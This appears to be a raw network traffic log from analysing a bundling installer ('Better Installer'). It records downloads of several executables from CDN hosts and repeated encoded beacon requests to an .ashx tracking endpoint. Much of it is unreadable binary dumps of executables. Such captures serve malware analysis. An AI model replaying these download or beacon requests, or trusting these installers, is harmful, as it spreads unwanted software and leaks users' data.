Expires: Wed, 29 Apr 2015 19:57:11 GMT
Cache-Control: max-age=600
Age: 493
X-Cache: Hit from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: lzDFHbi-gpxcsI_Zu-9jOBUg_7DZodD2X2FHjQrKXK41fU8JjHP_Yg==
HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 30 Apr 2
015 09:23:48 GMT..Server: nginx..ETag: "55409a9a-d66"..Expires: Wed, 2
9 Apr 2015 19:57:11 GMT..Cache-Control: max-age=600..Age: 493..X-Cache
: Hit from cloudfront..Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloud
front.net (CloudFront)..X-Amz-Cf-Id: lzDFHbi-gpxcsI_Zu-9jOBUg_7DZodD2X
2FHjQrKXK41fU8JjHP_Yg==..



GET /sd?is=sm HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:27:18 GMT
Date: Thu, 30 Apr 2015 09:27:18 GMT
Content-Range: bytes 0-523255/523256
Content-Length: 523256
Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. ...............................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=416430-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache



....-..n..T<.....o...}.*.5,[email protected].._.I.\nT...jw........91GI;...
...mhg.!.._......Z.6..5R."..3s.][O....u..r...m.......9\..C).....(..Mz.
.gaT,..d......F..*.6.AJ.>.....Y... ..\.v....{....c..&q...=_..k...i;
9.Y|......].>H....i.Iz...~.!......*.^.......Lox"cE]%....].....-^RR.
k./.L..1.o.:[email protected].&..\.\"........$.4$<.{..k.......u
..........f....fv.....O*y..M.... U..u...G.;}.9....=...:......#B....J.,
...5.../).<..v[[email protected]...$.,-
.....G.DaY.][email protected]...,?.............=...`*.l..............l.
.5X6R*.MTB..'.0..H...1..*...g....6@'V2.....:Eh..k~..Icnv.......3L.y1..
..i..C...-z.5..sK.M.N..2..:_&;rdWE(..=.b.. <.G.rP.E......i0...4.(..
..~.U8..7..."...Y.....#<x.....Z...4...C`.A.......#..2;.....q....<
;.).lY.......A...*.}.ofR{..<.....Ax.X.aa..G.;......\...bh..{...I...
]....)#......r....K_..XDJy.j...H...........:.~3.2.....&..v..C..[R.....
R\ _4C.0..v...r%...Hm.U..nvx.zP..(._..sxl\A.s.c(...N.0...j...aJl6..).F
W.....(.......g...f.>.&.%..au|..S....hkKY.AT../...hV..u.zK.. ..eO..
.%"1...q`b(TrgO].#d.."ay....Z[...........c.k....>E"...i..l.VQx.0.*F
.......h.J@..(.y.`<.H..Fu.%.v._7.Y.....X.....=.I.z@I...?n$...!.<
.A6.E.......V.f..........Y*.d>z.S.R.9.....i.3vM.a..3-...f.t...|.RD.
.6.G......=F..{...{...B...*.#.pw..../..!.In.w..swP......pm..3}=.d...p.
..o.$.....[...K%5....%$`....I_...!..x.c..jR.y.(.Y...p?..r....$r.>^.
eR>...~......d.W&.....i.Y..`.4.s..f..._7VC..2....t!l{N.]J.b...|....
.#.u......i..H..1....m.t........zff.....K...Q..s..r%d'.PzO.n..W|.3
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=196221-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP001C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Fri, 01 May 2015 09:22:09 GMT
Date: Thu, 30 Apr 2015 09:22:09 GMT
Content-Range: bytes 196221-523255/523256
Content-Length: 327035
Connection: keep-alive
/..**[email protected]%-P.....0L.r....P8.C?k.......4!....tqQ.nJ.\.r.v..&k...
}.9..t=;d...Fe0.....b.g.."S,......a..J0.Y:.....o..]...G..4U.Xu...L..x.
.F..8.(...C'...*`.i....9..K(..[.......!..<..3Z............,.g. '...
yO.......J-...;...._.|"..g.....jD">.........*W.l9.0....@ .C......hm
.E.m.......j.&.V...r..t-e.JW.../Q..V.1n/n...Q.z.p }Sv...t..t.....g5C:.
.&@........$\ ....i..7..C B..q..6%."..zg..3......../O...{..^.._...5...
@i.e.|i[9...qF0{.....-Mo'...p.N'....=..#........g.4.]...7....O<....
..Ag..y.....w....C.....0a.......Ui.B......]...X.X.".w=a.sa1.......I&..
x....E_.a..K.1.~.`..p{...h....S....Pz./...G.a...O...[/......j2'y.y.t..
._.4.o.....!.......%.m..q..S...A&..*b>...C........D8...b5..=.s.....
..xHc~9..5?$...g.c.]PG..m..............q....BG....|.A..Zs..;_. ...$...
[email protected].}.YC...Y....Y..%m.3.^}.."../..I
.u.[...z..>.......y.-6<.wU..%0/..7qJ.n!......r....7b!...........
P..{.6......0...oB...S0F...../..=}2i.e_/...........[.i.V.}..[..i.1....
.. .....h.).-}.{..f...u...f'0.....%........t.4......R....M.....p.,..E.
.A.o.u5b..n..&....u.<.(.(LK... .g.........#.>.O..B`.|..0.1.?....
...07....(5.'..P..d.!7...._o...<..v^&...._A3n[S.F.._..${V{....#,[..
;..<.\n.._..uH...*.I..mN&Q...N#H.q.n.=.!...48.......SN..2.4'.......
g..6WY.D......._..W*.v..=.>[email protected].........|D9i/..y.|W@......
 .8..t...M....q..x..$P..i..?%$......j...z.C..@.,p.vW..!y..v.I....~"9..
.X>......NA....5j.E...q[.....Y...h...O=cS.fU..D.]..<....r..3f...
..3..!x..[t..SO. ....u1.m{Z"..Jw....O*..SG*..?TYb......x.~.....E..
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=138810-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:23:53 GMT
Content-Type: application/octet-stream
Content-Length: 971666
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 138810-1110475/1110476
.:..q...v.......c.....)F../ ..I7.....<U^.J....;..... .C..TYa..24...
T......r<wz.<{.b.].6Vb......:.b.=&.E/.M}. .73]....d#...x... ..G|
.R..Z9 T.......~qX.?...(*yI)q.2.|Uj.0.2.....Vo...2...@.*Tg..CJ......7r
.i'.....k..|96W.......^YI....*...,S!.u!O&.......H.y.o....$A..4.(F.w.#.
a....n..L..2..ba..j.a.H.?..\[email protected].,.f..
.......M..Q...i.3LX...7.RJD....4...&....*5JE.6f.q"v.........q[.....x.s
9..8q..0...q.......B/......9......L2B}.~g..%..L. .....4....HQ.C.q!...q
<|].^c.*4....Zb1x.^...D$.(.u."......_0...5....x..6i. ........V1....
..I.*E.*...-..x.._.....1.6.D.56.:..W....F.......P.w..h...kE.........v.
.......`....%.......<.`....yu.2.....<...j2..'b.....>ie..t..k.
I.o.....Gy....V.y.z."..a......K...O..PH...#..6..4..|Im....t......LH.?.
d...h....>..}...............B.|X...>..L..*^..~.`9..*.Jk0..".....
!;...A....s.1.....g..m(N..:ed'...p.acr...\.sc.%..>.......c...;.#.kV
..........E.{...g...i...ol....(V!..{)F.....krQ&.[..<.b...C~S......%
0..Z.Xg.......KT9.,......U....a......n{$.QZ8]h... .......\.N.Q]...f...
6....an4-..,........V..u........%.6.B..q.^..j..r!.....=f....K3..=.:..[
..-..9.....*.'(Y#....S...5N....z..........[.,e..._...Q.R =..u...0l..t&
lt;...N.7.-..dG.....VFm.s) .......#.F..#.Thn#@...g.z.RO.....,.s.....$.
.L..-Y.w......^.Fi....<&.:.."8p..3..U........ ..?7 r.x}.6.......rY.
vwO~Jl....H..K*.T ......x!...9.d..6.ps..Q.H....</J.>..'}pRxV...0
%...KJ...a >YJ.....N.._..s...%.....C?....V.....Cp.IkZ.<_O*.):...
n.U-..O3.[....id...Y..ps,.#.).gso..^.U.,.c...{..T....r..... .x..H.
<<< skipped >>>


GET /root.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.globalsign.net


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:26:37 GMT
Content-Type: application/x-pkcs7-crl
Content-Length: 649
Connection: keep-alive
Set-Cookie: __cfduid=dc46f9cfd8350bf5982210c3a15353edf1430385997; expires=Fri, 29-Apr-16 09:26:37 GMT; path=/; domain=.globalsign.net; HttpOnly
Expires: Wed, 15 Jul 2015 00:00:00 GMT
Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT
Cache-Control: public, max-age=6532403
CF-Cache-Status: HIT
Accept-Ranges: bytes
Server: cloudflare-nginx
CF-RAY: 1df234c69cc30887-FRA
0...0..m...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.
0...U....Root CA1.0...U....GlobalSign Root CA..150323000000Z..15071500
0000Z0..0*.........D.....141125000000Z0.0...U.......0*........)E.....1
41125000000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......
0*........,^.....141125000000Z0.0...U......../0-0...U......00...U.#..0
...`{f.E....P/}..4....K0...*.H.............&...f#...5.[4........{pV.#.
F........:...*Q.....Mx9}....,.S.D.>@.Ju.[)c...`.?.j~...-..{.FHj....
.#.C2.[.,`.......)...Bj2........n...........%......p.6......Q.....1..p
d......F.........mJO.!y.W.......V.M).N.R.....V..|...7.ry. ..gy..I\....
.....j....... .z.E..".HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:26:37
 GMT..Content-Type: application/x-pkcs7-crl..Content-Length: 649..Conn
ection: keep-alive..Set-Cookie: __cfduid=dc46f9cfd8350bf5982210c3a1535
3edf1430385997; expires=Fri, 29-Apr-16 09:26:37 GMT; path=/; domain=.g
lobalsign.net; HttpOnly..Expires: Wed, 15 Jul 2015 00:00:00 GMT..Last-
Modified: Mon, 23 Mar 2015 00:00:00 GMT..Cache-Control: public, max-ag
e=6532403..CF-Cache-Status: HIT..Accept-Ranges: bytes..Server: cloudfl
are-nginx..CF-RAY: 1df234c69cc30887-FRA..0...0..m...0...*.H........0W1
.0...U....BE1.0...U....GlobalSign nv-sa1.0...U....Root CA1.0...U....Gl
obalSign Root CA..150323000000Z..150715000000Z0..0*.........D.....1411
25000000Z0.0...U.......0*........)E.....141125000000Z0.0...U.......0*.
....... ...h..141125000000Z0.0...U.......0*........,^.....141125000000
Z0.0...U......../0-0...U......00...U.#..0...`{f.E....P/}..4....K0.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 72922
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 0-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qdOIlaTbYgZCUyYCLS9z_0niGJ_XXrNpIjO7j-j2czTPc_sg7TeX5g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
.......................................................



GET /7349.ashx?e=Ka qOJkckoXJDC3MBqZhBjdjsMBgf4CryMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/iP6pq8QHGxHC4btG OZIk/c453xw7zJVfqR4rzu9tChRWoLVpCM9iEsfUYUM0LESxnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYMiISMf8I5JK HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:18 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:18 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:25:09 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /4475.ashx?e=BSSQS1gsMUSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/FNZ51t0VaMPpKRjNB7AWeFi2s6XsF8NYPpbX8eNZzIIUAvnawhe3hU72ISjKawWsoSwUHtq20zGrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67kcucdFKeANzw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:54 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESrStpyyCRN5wE8SFHLIEPsIrbCKwGMe5Y4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr7Nm0VSYuTZTqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1EPdWC37syN6R7TAWpeLwRjQiuZPDPbKClbmEuVJqAPqXLngodnaRVEGMLpCuUihVA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:54 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESzzzSAUigcDOBH7l0Cnb62dCUHeR8YCF3HUDXrv0Zk8ASGzXJG4Eokf4VYfpEwhPiF9IEmN/K55fiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXbr7OVwz8YTq8pe8qX5YL00cJg/3mzqkz7KK1WAHRDboZDufEzNKco HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESgu0rCkTVQ8byyO6Ebs4xmkKABP6K/iqqIBnlKRxyFokkn0XLiH0dH1LtCiNSAKYFu3Kv28u ejWM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUujDtCPA991ZulCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Na HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESTluBu0Um15ycwQCYXH/7wymF904v4t2DRUWskgMGMEO eufm7MnOBmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhStCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK f/ISkx6xf/pk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRES4wR mc1J517JscN vLrCo8MJc2jBTfyiqyYb9Bykje2/uCIFUAhjXasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESXrcF6JOjEJMoETtCpwnRwgjYjXjSiKQCjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Low7QjwPfdWbpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWg== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B  K9V0GRRESS 2X0hFWujhEMg9dhftTco4G r 3F6T7dpypC5B03AEIe3wj/eXUyiL2op//ppvq76DHhyPlPnkPFzD22NQd3rzTwCJRAS6Wd5SlKONgbzyatPS5dHttUZtruOKPKBI3je76xrpUJdpEJAAj4ACHMGtZQoC/3uQW76DHhyPlPnnqo/1LnfVQ9f9gejmj1PrNLuIZ1cXUjSsKxu3ZFk07dHS99ziAbLKWZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FK0JaqM5TfRQn3eTjDgBC/5xMNQnf18CmhWXN/GxlYr5/8hKTHrF/ mQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va9X2V/SFN607WhPkLraqHTm0JQd5HxgIXdYj3QXM9Milyo96KQrvxHzFtz73aJdyQ9bIN4IHb61/I99zDfFJLawLwD3 ODJr0uVhwr47TnZkLQYNNeqT3xgVT8ZD/qVCe9n01RYHUcSACo96KQrvxHzFtz73aJdyQ9UcZznl D6wDNXAj82T1dSK Es81YoEWWPG5nIyz2oyU4oSixuLYe bKcP 39NITxafZWAq087najzXAEtZeOtcko2uiNsRA5AuVLaeAArntWhxpjwBSJ8dV1 PcKMtTrG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l4rtrWyhaWBtd3 uKF6e7H3ETaK06TzGSxNCESZ2BqQgm3p QkSZustsDnBflfPj0/dlttNtAz7z HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPvdDLE kFDLYhxZg1qpOAgFszaHxLtpNrnYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:56 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /4475.ashx?e=uWabAt9SLcyBuMQa44hX0ICLUderVTK17OXLse4BafTbQC nVTu53mZVsyaCUtL6gqXeieYZsf2494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY5JPYxSEah4SVR5AawbKoxqRy3/PCMI04GrmNNWY3tq5nbJKYwPfuhCWcSucRpHa5xQC drCF7eFc68xQtOPoFfUGrm1d5TzRzYd0CRAC1t03RQMh2kgHVCeHUcar4A/UqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:24:57 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:24:57 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET //MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.godaddy.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:27:02 GMT
Server: Apache
Content-Transfer-Encoding: Binary
Cache-Control: max-age=115984, public, no-transform, must-revalidate
Last-Modified: Thu, 30 Apr 2015 07:21:51 GMT
Expires: Fri, 01 May 2015 19:21:51 GMT
ETag: "588702bdbb973b4f8979b5d0e963df9d65982196"
P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"
Content-Length: 1741
Connection: close
Content-Type: application/ocsp-response
0..........0..... .....0......0...0.....0..1.0...U....US1.0...U....Ari
